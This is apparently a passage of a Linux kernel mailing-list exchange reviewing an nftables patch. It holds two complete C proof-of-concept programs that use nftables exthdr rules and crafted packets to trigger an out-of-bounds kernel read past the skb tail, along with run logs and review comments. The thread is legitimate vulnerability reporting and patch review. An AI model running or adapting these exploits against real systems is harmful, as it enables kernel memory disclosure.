#define NFT_EXTHDR_F_PRESENT	1
#define NFTA_CMP_SREG		1
#define NFTA_CMP_OP		2
#define NFTA_CMP_DATA		3
#define NFTA_DATA_VALUE		1
#define NFTA_COUNTER_PACKETS	2
#define NFPROTO_NETDEV		5
#define NFT_REG_1		1
#ifndef NETLINK_NETFILTER
#define NETLINK_NETFILTER	12
#endif

#define ROUNDS		64

struct nfgen { uint8_t family, version; uint16_t res_id; };

static int nl, pfd, ifi;
static uint32_t seq = 1;
static uint64_t cnt[256];

static void die(const char *m) { fprintf(stderr, "[-] %s: %s\n", m, strerror(errno)); exit(1); }

static char *put(char *p, int type, const void *d, int len)
{
	struct nlattr *a = (struct nlattr *)p;

	a->nla_type = type;
	a->nla_len = NLA_HDRLEN + len;
	memcpy(p + NLA_HDRLEN, d, len);
	memset(p + NLA_HDRLEN + len, 0, NLA_ALIGN(len) - len);
	return p + NLA_ALIGN(a->nla_len);
}
static char *put_str(char *p, int t, const char *s) { return put(p, t, s, strlen(s) + 1); }
static char *put_be32(char *p, int t, uint32_t v) { v = htonl(v); return put(p, t, &v, 4); }
static char *nest(char **p, int type)
{
	struct nlattr *a = (struct nlattr *)*p;

	a->nla_type = type | NLA_F_NESTED;
	*p += NLA_HDRLEN;
	return (char *)a;
}
static void nest_end(char *a, char *p) { ((struct nlattr *)a)->nla_len = p - a; }

/* ---------------------------------------------------------------- setup */

static void write_file(const char *path, const char *s)
{
	int fd = open(path, O_WRONLY);

	if (fd < 0 || write(fd, s, strlen(s)) < 0)
		die(path);
	close(fd);
}

static void enter_ns(void)
{
	char map[32];
	uid_t uid = getuid();
	gid_t gid = getgid();

	if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0)
		die("unshare");
	write_file("/proc/self/setgroups", "deny");
	snprintf(map, sizeof(map), "0 %d 1", uid);
	write_file("/proc/self/uid_map", map);
	snprintf(map, sizeof(map), "0 %d 1", gid);
	write_file("/proc/self/gid_map", map);
}

#define IFLA_GRE_LOCAL_		6
#define HHLEN			44	/* ip6gre hard_header_len: ipv6hdr + gre */
#define WARMUP			200000	/* KASAN quarantine delays reuse of */
#define PER_ROUND		3000	/* freed heads, so flood plants   */

static void rtnl_ip6gre(void)
{
	char buf[512] = {}, rb[1024], *p, *li, *id;
	struct nlmsghdr *h = (struct nlmsghdr *)buf;
	unsigned char laddr[16] = { 0x20, 0x01, 0x0d, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1 };
	uint32_t mtu = 9000;
	int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE), n;

	h->nlmsg_type = RTM_NEWLINK;
	h->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK;
	p = (char *)NLMSG_DATA(h) + NLMSG_ALIGN(sizeof(struct ifinfomsg));
	p = put_str(p, IFLA_IFNAME, "g6");
	p = put(p, IFLA_MTU, &mtu, 4);
	li = nest(&p, IFLA_LINKINFO);
	p = put(p, IFLA_INFO_KIND, "ip6gre", 6);
	id = nest(&p, IFLA_INFO_DATA);
	p = put(p, IFLA_GRE_LOCAL_, laddr, 16);	/* remote stays :: */
	nest_end(id, p);
	nest_end(li, p);
	h->nlmsg_len = p - buf;
	if (fd < 0 || send(fd, buf, h->nlmsg_len, 0) < 0)
		die("RTM_NEWLINK");
	n = recv(fd, rb, sizeof(rb), 0);
	if (n > 0 && ((struct nlmsghdr *)rb)->nlmsg_type == NLMSG_ERROR &&
	   ((struct nlmsgerr *)NLMSG_DATA((struct nlmsghdr *)rb))->error) {
		errno = -((struct nlmsgerr *)NLMSG_DATA((struct nlmsghdr *)rb))->error;
		die("create ip6gre");
	}
	close(fd);
}

static void link_up(const char *name)
{
	struct ifreq ifr = {};
	int fd = socket(AF_INET, SOCK_DGRAM, 0);

	strncpy(ifr.ifr_name, name, IFNAMSIZ - 1);
	if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0)
		die("SIOCGIFFLAGS");
	ifr.ifr_flags |= IFF_UP;
	if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
		die("SIOCSIFFLAGS");
	close(fd);
}

/* ------------------------------------------------------------- nftables */

static char *msg(char *cur, int type, int flags)
{
	struct nlmsghdr *h = (struct nlmsghdr *)cur;
	struct nfgen *g = (struct nfgen *)NLMSG_DATA(h);

	memset(h, 0, NLMSG_HDRLEN + sizeof(*g));
	h->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | type;
	h->nlmsg_flags = NLM_F_REQUEST | flags;
	h->nlmsg_seq = ++seq;
	g->family = NFPROTO_NETDEV;
	return cur + NLMSG_HDRLEN + sizeof(*g);
}
static char *msg_end(char *cur, char *p) { ((struct nlmsghdr *)cur)->nlmsg_len = p - cur; return p; }
static char *batch(char *cur, int type)
{
	struct nlmsghdr *h = (struct nlmsghdr *)cur;
	struct nfgen *g = (struct nfgen *)NLMSG_DATA(h);

	memset(h, 0, NLMSG_HDRLEN + sizeof(*g));
	h->nlmsg_type = type;
	h->nlmsg_flags = NLM_F_REQUEST;
	h->nlmsg_seq = ++seq;
	h->nlmsg_len = NLMSG_HDRLEN + sizeof(*g);
	g->res_id = htons(NFNL_SUBSYS_NFTABLES);
	return cur + h->nlmsg_len;
}

static void nft_commit(char *buf, char *end)
{
	char rb[8192];
	int n;

	if (send(nl, buf, end - buf, 0) < 0)
		die("nft send");
	while ((n = recv(nl, rb, sizeof(rb), MSG_DONTWAIT)) > 0) {
		struct nlmsghdr *r = (struct nlmsghdr *)rb;

		for (; NLMSG_OK(r, n); r = NLMSG_NEXT(r, n)) {
			struct nlmsgerr *e = (struct nlmsgerr *)NLMSG_DATA(r);

			if (r->nlmsg_type == NLMSG_ERROR && e->error) {
				errno = -e->error;
				die("nft batch");
			}
		}
	}
}

static char *rule(char *cur, int t)
{
	uint8_t ud = t, one = 1;
	char *p, *ex, *e, *d, *v;

	p = msg(cur, NFT_MSG_NEWRULE, NLM_F_CREATE | NLM_F_APPEND | NLM_F_ACK);
	p = put_str(p, NFTA_RULE_TABLE, "t");
	p = put_str(p, NFTA_RULE_CHAIN, "c");
	p = put(p, NFTA_RULE_USERDATA, &ud, 1);
	ex = nest(&p, NFTA_RULE_EXPRESSIONS);

	e = nest(&p, NFTA_LIST_ELEM);			/* exthdr ipv6 type t exists */
	p = put_str(p, NFTA_EXPR_NAME, "exthdr");
	d = nest(&p, NFTA_EXPR_DATA);
	p = put_be32(p, NFTA_EXTHDR_DREG, NFT_REG_1);
	p = put(p, NFTA_EXTHDR_TYPE, &ud, 1);
	p = put_be32(p, NFTA_EXTHDR_OFFSET, 0);
	p = put_be32(p, NFTA_EXTHDR_LEN, 1);
	p = put_be32(p, NFTA_EXTHDR_FLAGS, NFT_EXTHDR_F_PRESENT);
	nest_end(d, p);
	nest_end(e, p);

	e = nest(&p, NFTA_LIST_ELEM);			/* cmp reg1 == 1 */
	p = put_str(p, NFTA_EXPR_NAME, "cmp");
	d = nest(&p, NFTA_EXPR_DATA);
	p = put_be32(p, NFTA_CMP_SREG, NFT_REG_1);
	p = put_be32(p, NFTA_CMP_OP, 0 /* NFT_CMP_EQ */);
	v = nest(&p, NFTA_CMP_DATA);
	p = put(p, NFTA_DATA_VALUE, &one, 1);
	nest_end(v, p);
	nest_end(d, p);
	nest_end(e, p);

	e = nest(&p, NFTA_LIST_ELEM);			/* counter */
	p = put_str(p, NFTA_EXPR_NAME, "counter");
	nest_end(e, p);

	nest_end(ex, p);
	return msg_end(cur, p);
}

static void nft_setup(void)
{
	static char buf[65536];
	char *cur, *p, *hk;
	int t = 0, i;

	nl = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);
	if (nl < 0)
		die("NETLINK_NETFILTER");

	cur = batch(buf, NFNL_MSG_BATCH_BEGIN);
	p = msg(cur, NFT_MSG_NEWTABLE, NLM_F_CREATE | NLM_F_ACK);
	p = put_str(p, NFTA_TABLE_NAME, "t");
	cur = msg_end(cur, p);
	p = msg(cur, NFT_MSG_NEWCHAIN, NLM_F_CREATE | NLM_F_ACK);
	p = put_str(p, NFTA_CHAIN_TABLE, "t");
	p = put_str(p, NFTA_CHAIN_NAME, "c");
	p = put_str(p, NFTA_CHAIN_TYPE, "filter");
	p = put_be32(p, 5 /* NFTA_CHAIN_POLICY */, 0 /* NF_DROP: free in the hook, never xmit */);
	hk = nest(&p, NFTA_CHAIN_HOOK);
	p = put_be32(p, NFTA_HOOK_HOOKNUM, 1 /* NF_NETDEV_EGRESS */);
	p = put_be32(p, NFTA_HOOK_PRIORITY, 0);
	p = put_str(p, NFTA_HOOK_DEV, "g6");
	nest_end(hk, p);
	cur = msg_end(cur, p);
	cur = batch(cur, NFNL_MSG_BATCH_END);
	nft_commit(buf, cur);

	while (t < 256) {
		cur = batch(buf, NFNL_MSG_BATCH_BEGIN);
		for (i = 0; i < 32 && t < 256; i++)
			cur = rule(cur, t++);
		cur = batch(cur, NFNL_MSG_BATCH_END);
		nft_commit(buf, cur);
	}
}

/* nf_tables dumps nests without NLA_F_NESTED, so walk the levels by hand */
#define for_each_nla(x, a, len, rem)						\
	for (x = (struct nlattr *)(a), rem = (len);				\
	    rem >= NLA_HDRLEN && x->nla_len >= NLA_HDRLEN && x->nla_len <= rem; \
	    rem -= NLA_ALIGN(x->nla_len),					\
	    x = (struct nlattr *)((char *)x + NLA_ALIGN(x->nla_len)))
#define NLA_DATA(x)	((char *)(x) + NLA_HDRLEN)
#define NLA_LEN(x)	((x)->nla_len - NLA_HDRLEN)

/* rule -> userdata (T) and expressions/elem/data/COUNTER_PACKETS */
static void parse_rule(char *a, int len)
{
	struct nlattr *r, *el, *ex, *c;
	int r1, r2, r3, r4, t = -1;
	uint64_t pk = 0;

	for_each_nla(r, a, len, r1) {
		if (r->nla_type == NFTA_RULE_USERDATA)
			t = (uint8_t)NLA_DATA(r)[0];
		if (r->nla_type != NFTA_RULE_EXPRESSIONS)
			continue;
		for_each_nla(el, NLA_DATA(r), NLA_LEN(r), r2) {
			bool counter = false;

			for_each_nla(ex, NLA_DATA(el), NLA_LEN(el), r3) {
				if (ex->nla_type == NFTA_EXPR_NAME)
					counter = !strcmp(NLA_DATA(ex), "counter");
				else if (ex->nla_type == NFTA_EXPR_DATA && counter)
					for_each_nla(c, NLA_DATA(ex), NLA_LEN(ex), r4)
						if (c->nla_type == NFTA_COUNTER_PACKETS)
							pk = be64toh(*(uint64_t *)NLA_DATA(c));
			}
		}
	}
	if (t >= 0)
		cnt[t] = pk;
}

static void read_counters(void)
{
	static char rb[1 << 18];
	char buf[256], *p = msg(buf, NFT_MSG_GETRULE, NLM_F_DUMP);
	int n;

	p = put_str(p, NFTA_RULE_TABLE, "t");
	msg_end(buf, p);
	if (send(nl, buf, ((struct nlmsghdr *)buf)->nlmsg_len, 0) < 0)
		die("GETRULE");
	while ((n = recv(nl, rb, sizeof(rb), 0)) > 0) {
		struct nlmsghdr *r = (struct nlmsghdr *)rb;

		for (; NLMSG_OK(r, n); r = NLMSG_NEXT(r, n)) {
			char *a = (char *)NLMSG_DATA(r) + sizeof(struct nfgen);

			if (r->nlmsg_type == NLMSG_DONE || r->nlmsg_type == NLMSG_ERROR)
				return;
			parse_rule(a, (char *)r + r->nlmsg_len - a);
		}
	}
}

/* --------------------------------------------------------------- probes */

static void tx(const unsigned char *f, int len, uint16_t proto)
{
	struct sockaddr_ll sll = {};

	sll.sll_family = AF_PACKET;
	sll.sll_ifindex = ifi;
	sll.sll_protocol = htons(proto);
	/* the chain drops everything: ENOBUFS is the expected result */
	if (sendto(pfd, f, len, 0, (struct sockaddr *)&sll, sizeof(sll)) < 0 &&
	   errno != ENOBUFS)
		die("sendto");
}

#define PLANT_NH	0x3a	/* only ever present in plant frames */
#define ROUNDS_E	16

int main(void)
{
	static unsigned char probe[5000];	/* > PAGE_SIZE: ipv6 hdr in frags */
	unsigned char plant[HHLEN + 8];		/* same size class as probe head */
	uint64_t before[256];
	cpu_set_t cs;
	int r, t, i, hit = 0, other = 0;

	setvbuf(stdout, NULL, _IONBF, 0);
	CPU_ZERO(&cs);
	CPU_SET(0, &cs);
	sched_setaffinity(0, sizeof(cs), &cs);

	if (getuid() == 0) {			/* drop to an unprivileged user */
		setgroups(0, NULL);
		if (setresgid(1000, 1000, 1000) || setresuid(1000, 1000, 1000))
			die("drop privileges");
		prctl(PR_SET_DUMPABLE, 1);	/* lets us write our own uid_map */
	}
	printf("[*] uid=%d\n", getuid());
	enter_ns();
	/* keep IPv6 autoconf traffic off the tunnel */
	write_file("/proc/sys/net/ipv6/conf/default/disable_ipv6", "1");
	rtnl_ip6gre();
	link_up("g6");
	nft_setup();

	pfd = socket(AF_PACKET, SOCK_RAW, 0);
	ifi = if_nametoindex("g6");
	if (pfd < 0 || !ifi)
		die("AF_PACKET");

	/* probe: 44-byte hard header + 4956 zero bytes: the real IPv6
	* header (in frags) has version 0 and must never validate */
	memset(probe, 0, sizeof(probe));
	/* plant: hard header + what looks like an IPv6 header, nexthdr 0x3a */
	memset(plant, 0, sizeof(plant));
	plant[HHLEN + 0] = 0x60;
	plant[HHLEN + 6] = PLANT_NH;
	plant[HHLEN + 7] = 64;

	printf("[*] netdev egress on ip6gre (hard_header_len %d), %zu-byte probe\n",
	      HHLEN, sizeof(probe));
	printf("[*] warming up: %d plant frames\n", WARMUP);
	for (i = 0; i < WARMUP; i++)
		tx(plant, sizeof(plant), 0x1234);

	for (r = 0; r < ROUNDS_E; r++) {
		for (i = 0; i < PER_ROUND; i++)
			tx(plant, sizeof(plant), 0x1234);
		read_counters();
		memcpy(before, cnt, sizeof(before));
		tx(probe, sizeof(probe), ETH_P_IPV6);
		usleep(20000);
		read_counters();
		for (t = 0; t < 256; t++) {
			if (cnt[t] == before[t])
				continue;
			printf("    probe %2d: rule 0x%02x fired%s\n", r, t,
			      t == PLANT_NH ? "  <== stale plant byte read past skb tail" : "");
			if (t == PLANT_NH)
				hit++;
			else
				other++;
		}
	}
	printf("[%c] %d/%d probes read the planted byte past the tail (%d other)\n",
	      hit ? '+' : '-', hit, ROUNDS_E, other);
	return !hit;
}
```
Quoted 482 lines
Quoted 4 lines

I think exthdr still needs its own check, or the netdev/bridge chains should not evaluate rules against an skb that failed validation. Your change still looks useful on top of that for the frags case.

I don't think so, if there is a chance to skip re-evaluation, the better.

Quoted 475 lines

One more thing: nft_meta.c calls __nft_set_pktinfo_ipv6_validate() with a non-zero nhoff for VLAN/PPPoE, but the new code pulls and reads the header at offset 0, so it checks the outer header there.

Thanks,
Xiang

The PoC:

```c
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <grp.h>
#include <sys/prctl.h>
#include <net/if.h>
#include <arpa/inet.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>

#define NFNL_SUBSYS_NFTABLES    10
#define NFNL_MSG_BATCH_BEGIN    16
#define NFNL_MSG_BATCH_END      17
#define NFT_MSG_NEWTABLE        0
#define NFT_MSG_NEWCHAIN        3
#define NFT_MSG_NEWRULE         6
#define NFT_MSG_GETRULE         7
#define NFTA_TABLE_NAME         1
#define NFTA_CHAIN_TABLE        1
#define NFTA_CHAIN_NAME         3
#define NFTA_CHAIN_HOOK         4
#define NFTA_CHAIN_TYPE         7
#define NFTA_HOOK_HOOKNUM       1
#define NFTA_HOOK_PRIORITY      2
#define NFTA_HOOK_DEV           3
#define NFTA_RULE_TABLE         1
#define NFTA_RULE_CHAIN         2
#define NFTA_RULE_EXPRESSIONS   4
#define NFTA_RULE_USERDATA      7
#define NFTA_LIST_ELEM          1
#define NFTA_EXPR_NAME          1
#define NFTA_EXPR_DATA          2
#define NFTA_EXTHDR_DREG        1
#define NFTA_EXTHDR_TYPE        2
#define NFTA_EXTHDR_OFFSET      3
#define NFTA_EXTHDR_LEN         4
#define NFTA_EXTHDR_FLAGS       5
#define NFT_EXTHDR_F_PRESENT    1
#define NFTA_CMP_SREG           1
#define NFTA_CMP_OP             2
#define NFTA_CMP_DATA           3
#define NFTA_DATA_VALUE         1
#define NFTA_COUNTER_PACKETS    2
#define NFPROTO_NETDEV          5
#define NFT_REG_1               1
#ifndef NETLINK_NETFILTER
#define NETLINK_NETFILTER       12
#endif

#define ROUNDS          64

struct nfgen { uint8_t family, version; uint16_t res_id; };

static int nl, pfd, ifi;
static uint32_t seq = 1;
static uint64_t cnt[256];

static void die(const char *m) { fprintf(stderr, "[-] %s: %s\n", m,
strerror(errno)); exit(1); }

static char *put(char *p, int type, const void *d, int len)
{
        struct nlattr *a = (struct nlattr *)p;

        a->nla_type = type;
        a->nla_len = NLA_HDRLEN + len;
        memcpy(p + NLA_HDRLEN, d, len);
        memset(p + NLA_HDRLEN + len, 0, NLA_ALIGN(len) - len);
        return p + NLA_ALIGN(a->nla_len);
}
static char *put_str(char *p, int t, const char *s) { return put(p, t,
s, strlen(s) + 1); }
static char *put_be32(char *p, int t, uint32_t v) { v = htonl(v);
return put(p, t, &v, 4); }
static char *nest(char **p, int type)
{
        struct nlattr *a = (struct nlattr *)*p;

        a->nla_type = type | NLA_F_NESTED;
        *p += NLA_HDRLEN;
        return (char *)a;
}
static void nest_end(char *a, char *p) { ((struct nlattr *)a)->nla_len
= p - a; }

/* ---------------------------------------------------------------- setup */

static void write_file(const char *path, const char *s)
{
        int fd = open(path, O_WRONLY);

        if (fd < 0 || write(fd, s, strlen(s)) < 0)
                die(path);
        close(fd);
}

static void enter_ns(void)
{
        char map[32];
        uid_t uid = getuid();
        gid_t gid = getgid();

        if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0)
                die("unshare");
        write_file("/proc/self/setgroups", "deny");
        snprintf(map, sizeof(map), "0 %d 1", uid);
        write_file("/proc/self/uid_map", map);
        snprintf(map, sizeof(map), "0 %d 1", gid);
        write_file("/proc/self/gid_map", map);
}

static void rtnl_veth(void)
{
        char buf[512] = {}, *p, *li, *id, *peer;
        struct nlmsghdr *h = (struct nlmsghdr *)buf;
        int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);

        h->nlmsg_type = RTM_NEWLINK;
        h->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL;
        p = (char *)NLMSG_DATA(h) + NLMSG_ALIGN(sizeof(struct ifinfomsg));
        p = put_str(p, IFLA_IFNAME, "vp0");
        li = nest(&p, IFLA_LINKINFO);
        p = put(p, IFLA_INFO_KIND, "veth", 4);
        id = nest(&p, IFLA_INFO_DATA);
        peer = nest(&p, 1 /* VETH_INFO_PEER */);
        p += sizeof(struct ifinfomsg);
        p = put_str(p, IFLA_IFNAME, "vp1");
        nest_end(peer, p);
        nest_end(id, p);
        nest_end(li, p);
        h->nlmsg_len = p - buf;
        if (fd < 0 || send(fd, buf, h->nlmsg_len, 0) < 0)
                die("RTM_NEWLINK");
        close(fd);
}

static void link_up(const char *name)
{
        struct ifreq ifr = {};
        int fd = socket(AF_INET, SOCK_DGRAM, 0);

        strncpy(ifr.ifr_name, name, IFNAMSIZ - 1);
        if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0)
                die("SIOCGIFFLAGS");
        ifr.ifr_flags |= IFF_UP;
        if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
                die("SIOCSIFFLAGS");
        close(fd);
}

/* ------------------------------------------------------------- nftables */

static char *msg(char *cur, int type, int flags)
{
        struct nlmsghdr *h = (struct nlmsghdr *)cur;
        struct nfgen *g = (struct nfgen *)NLMSG_DATA(h);

        memset(h, 0, NLMSG_HDRLEN + sizeof(*g));
        h->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | type;
        h->nlmsg_flags = NLM_F_REQUEST | flags;
        h->nlmsg_seq = ++seq;
        g->family = NFPROTO_NETDEV;
        return cur + NLMSG_HDRLEN + sizeof(*g);
}
static char *msg_end(char *cur, char *p) { ((struct nlmsghdr
*)cur)->nlmsg_len = p - cur; return p; }
static char *batch(char *cur, int type)
{
        struct nlmsghdr *h = (struct nlmsghdr *)cur;
        struct nfgen *g = (struct nfgen *)NLMSG_DATA(h);

        memset(h, 0, NLMSG_HDRLEN + sizeof(*g));
        h->nlmsg_type = type;
        h->nlmsg_flags = NLM_F_REQUEST;
        h->nlmsg_seq = ++seq;
        h->nlmsg_len = NLMSG_HDRLEN + sizeof(*g);
        g->res_id = htons(NFNL_SUBSYS_NFTABLES);
        return cur + h->nlmsg_len;
}

static void nft_commit(char *buf, char *end)
{
        char rb[8192];
        int n;

        if (send(nl, buf, end - buf, 0) < 0)
                die("nft send");
        while ((n = recv(nl, rb, sizeof(rb), MSG_DONTWAIT)) > 0) {
                struct nlmsghdr *r = (struct nlmsghdr *)rb;

                for (; NLMSG_OK(r, n); r = NLMSG_NEXT(r, n)) {
                        struct nlmsgerr *e = (struct nlmsgerr *)NLMSG_DATA(r);

                        if (r->nlmsg_type == NLMSG_ERROR && e->error) {
                                errno = -e->error;
                                die("nft batch");
                        }
                }
        }
}

static char *rule(char *cur, int t)
{
        uint8_t ud = t, one = 1;
        char *p, *ex, *e, *d, *v;

        p = msg(cur, NFT_MSG_NEWRULE, NLM_F_CREATE | NLM_F_APPEND | NLM_F_ACK);
        p = put_str(p, NFTA_RULE_TABLE, "t");
        p = put_str(p, NFTA_RULE_CHAIN, "c");
        p = put(p, NFTA_RULE_USERDATA, &ud, 1);
        ex = nest(&p, NFTA_RULE_EXPRESSIONS);

        e = nest(&p, NFTA_LIST_ELEM);                   /* exthdr ipv6
type t exists */
        p = put_str(p, NFTA_EXPR_NAME, "exthdr");
        d = nest(&p, NFTA_EXPR_DATA);
        p = put_be32(p, NFTA_EXTHDR_DREG, NFT_REG_1);
        p = put(p, NFTA_EXTHDR_TYPE, &ud, 1);
        p = put_be32(p, NFTA_EXTHDR_OFFSET, 0);
        p = put_be32(p, NFTA_EXTHDR_LEN, 1);
        p = put_be32(p, NFTA_EXTHDR_FLAGS, NFT_EXTHDR_F_PRESENT);
        nest_end(d, p);
        nest_end(e, p);

        e = nest(&p, NFTA_LIST_ELEM);                   /* cmp reg1 == 1 */
        p = put_str(p, NFTA_EXPR_NAME, "cmp");
        d = nest(&p, NFTA_EXPR_DATA);
        p = put_be32(p, NFTA_CMP_SREG, NFT_REG_1);
        p = put_be32(p, NFTA_CMP_OP, 0 /* NFT_CMP_EQ */);
        v = nest(&p, NFTA_CMP_DATA);
        p = put(p, NFTA_DATA_VALUE, &one, 1);
        nest_end(v, p);
        nest_end(d, p);
        nest_end(e, p);

        e = nest(&p, NFTA_LIST_ELEM);                   /* counter */
        p = put_str(p, NFTA_EXPR_NAME, "counter");
        nest_end(e, p);

        nest_end(ex, p);
        return msg_end(cur, p);
}

static void nft_setup(void)
{
        static char buf[65536];
        char *cur, *p, *hk;
        int t = 0, i;

        nl = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);
        if (nl < 0)
                die("NETLINK_NETFILTER");

        cur = batch(buf, NFNL_MSG_BATCH_BEGIN);
        p = msg(cur, NFT_MSG_NEWTABLE, NLM_F_CREATE | NLM_F_ACK);
        p = put_str(p, NFTA_TABLE_NAME, "t");
        cur = msg_end(cur, p);
        p = msg(cur, NFT_MSG_NEWCHAIN, NLM_F_CREATE | NLM_F_ACK);
        p = put_str(p, NFTA_CHAIN_TABLE, "t");
        p = put_str(p, NFTA_CHAIN_NAME, "c");
        p = put_str(p, NFTA_CHAIN_TYPE, "filter");
        hk = nest(&p, NFTA_CHAIN_HOOK);
        p = put_be32(p, NFTA_HOOK_HOOKNUM, 0 /* NF_NETDEV_INGRESS */);
        p = put_be32(p, NFTA_HOOK_PRIORITY, 0);
        p = put_str(p, NFTA_HOOK_DEV, "vp1");
        nest_end(hk, p);
        cur = msg_end(cur, p);
        cur = batch(cur, NFNL_MSG_BATCH_END);
        nft_commit(buf, cur);

        while (t < 256) {
                cur = batch(buf, NFNL_MSG_BATCH_BEGIN);
                for (i = 0; i < 32 && t < 256; i++)
                        cur = rule(cur, t++);
                cur = batch(cur, NFNL_MSG_BATCH_END);
                nft_commit(buf, cur);
        }
}

/* nf_tables dumps nests without NLA_F_NESTED, so walk the levels by hand */
#define for_each_nla(x, a, len, rem)
         \
        for (x = (struct nlattr *)(a), rem = (len);
         \
            rem >= NLA_HDRLEN && x->nla_len >= NLA_HDRLEN &&
x->nla_len <= rem; \
            rem -= NLA_ALIGN(x->nla_len),
         \
            x = (struct nlattr *)((char *)x + NLA_ALIGN(x->nla_len)))
#define NLA_DATA(x)     ((char *)(x) + NLA_HDRLEN)
#define NLA_LEN(x)      ((x)->nla_len - NLA_HDRLEN)

/* rule -> userdata (T) and expressions/elem/data/COUNTER_PACKETS */
static void parse_rule(char *a, int len)
{
        struct nlattr *r, *el, *ex, *c;
        int r1, r2, r3, r4, t = -1;
        uint64_t pk = 0;

        for_each_nla(r, a, len, r1) {
                if (r->nla_type == NFTA_RULE_USERDATA)
                        t = (uint8_t)NLA_DATA(r)[0];
                if (r->nla_type != NFTA_RULE_EXPRESSIONS)
                        continue;
                for_each_nla(el, NLA_DATA(r), NLA_LEN(r), r2) {
                        bool counter = false;

                        for_each_nla(ex, NLA_DATA(el), NLA_LEN(el), r3) {
                                if (ex->nla_type == NFTA_EXPR_NAME)
                                        counter =
!strcmp(NLA_DATA(ex), "counter");
                                else if (ex->nla_type ==
NFTA_EXPR_DATA && counter)
                                        for_each_nla(c, NLA_DATA(ex),
NLA_LEN(ex), r4)
                                                if (c->nla_type ==
NFTA_COUNTER_PACKETS)
                                                        pk =
be64toh(*(uint64_t *)NLA_DATA(c));
                        }
                }
        }
        if (t >= 0)
                cnt[t] = pk;
}

static void read_counters(void)
{
        static char rb[1 << 18];
        char buf[256], *p = msg(buf, NFT_MSG_GETRULE, NLM_F_DUMP);
        int n;

        p = put_str(p, NFTA_RULE_TABLE, "t");
        msg_end(buf, p);
        if (send(nl, buf, ((struct nlmsghdr *)buf)->nlmsg_len, 0) < 0)
                die("GETRULE");
        while ((n = recv(nl, rb, sizeof(rb), 0)) > 0) {
                struct nlmsghdr *r = (struct nlmsghdr *)rb;

                for (; NLMSG_OK(r, n); r = NLMSG_NEXT(r, n)) {
                        char *a = (char *)NLMSG_DATA(r) + sizeof(struct nfgen);

                        if (r->nlmsg_type == NLMSG_DONE ||
r->nlmsg_type == NLMSG_ERROR)
                                return;
                        parse_rule(a, (char *)r + r->nlmsg_len - a);
                }
        }
}

/* --------------------------------------------------------------- probes */

static void tx(const unsigned char *f, int len, uint16_t proto)
{
        struct sockaddr_ll sll = {};

        sll.sll_family = AF_PACKET;
        sll.sll_ifindex = ifi;
        sll.sll_protocol = htons(proto);
        sll.sll_halen = ETH_ALEN;
        if (sendto(pfd, f, len, 0, (struct sockaddr *)&sll, sizeof(sll)) < 0)
                die("sendto");
}

int main(void)
{
        unsigned char probe[18] = {
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x02, 0x02, 0x02,
0x02, 0x02, 0x02,
                0x81, 0x00,             /* ETH_P_8021Q */
                0x00, 0x64,             /* vid 100 */
                0x86, 0xdd,             /* inner: ETH_P_IPV6, then nothing */
        };
        uint64_t before[256];
        cpu_set_t cs;
        int r, t, hit = 0;

        setvbuf(stdout, NULL, _IONBF, 0);
        CPU_ZERO(&cs);
        CPU_SET(0, &cs);
        sched_setaffinity(0, sizeof(cs), &cs);

        if (getuid() == 0) {                    /* drop to an
unprivileged user */
                setgroups(0, NULL);
                if (setresgid(1000, 1000, 1000) || setresuid(1000, 1000, 1000))
                        die("drop privileges");
                prctl(PR_SET_DUMPABLE, 1);      /* lets us write our
own uid_map */
        }
        printf("[*] uid=%d\n", getuid());
        enter_ns();
        /* keep IPv6 autoconf traffic off the veths */
        write_file("/proc/sys/net/ipv6/conf/all/disable_ipv6", "1");
        write_file("/proc/sys/net/ipv6/conf/default/disable_ipv6", "1");
        rtnl_veth();
        link_up("vp0");
        link_up("vp1");
        nft_setup();

        pfd = socket(AF_PACKET, SOCK_RAW, 0);
        ifi = if_nametoindex("vp0");
        if (pfd < 0 || !ifi)
                die("AF_PACKET");


        printf("[*] sending %d 18-byte 802.1Q probes with no IPv6
header\n", ROUNDS);
        read_counters();
        memcpy(before, cnt, sizeof(before));
        for (r = 0; r < ROUNDS; r++) {
                tx(probe, sizeof(probe), ETH_P_8021Q);
                usleep(20000);
        }
        read_counters();
        for (t = 0; t < 256; t++) {
                if (cnt[t] == before[t])
                        continue;
                printf("    rule 0x%02x fired %llu/%d: kernel read
byte 0x%02x past skb tail\n",
                      t, (unsigned long long)(cnt[t] - before[t]), ROUNDS, t);
                hit += cnt[t] - before[t];
        }
        printf("[%c] %d/%d probes leaked a byte from past the end of
the packet\n",
              hit ? '+' : '-', hit, ROUNDS);
        return !hit;
}
```

My run output of your attached patch:

```log
[*] sending 64 18-byte 802.1Q probes with no IPv6 header
    rule 0x01 fired 25/64: kernel read byte 0x01 past skb tail
    rule 0x02 fired 2/64: kernel read byte 0x02 past skb tail
    rule 0x03 fired 1/64: kernel read byte 0x03 past skb tail
    rule 0x74 fired 1/64: kernel read byte 0x74 past skb tail
...
```

I also confirmed the same result after inserting some debug to the kernel.

```log
[    4.041624] DBG_OOB head=ffff888021df96c0 nh=20 tail=20 end=384
byte=0x00 ptr16_23(head+544)=0xdf
[    4.061809] DBG_OOB head=ffff888021df9a00 nh=20 tail=20 end=384
byte=0x00 ptr16_23(head+544)=0xdf
[    4.081970] DBG_OOB head=ffff888021df63c0 nh=20 tail=20 end=384
byte=0x00 ptr16_23(head+544)=0xdf
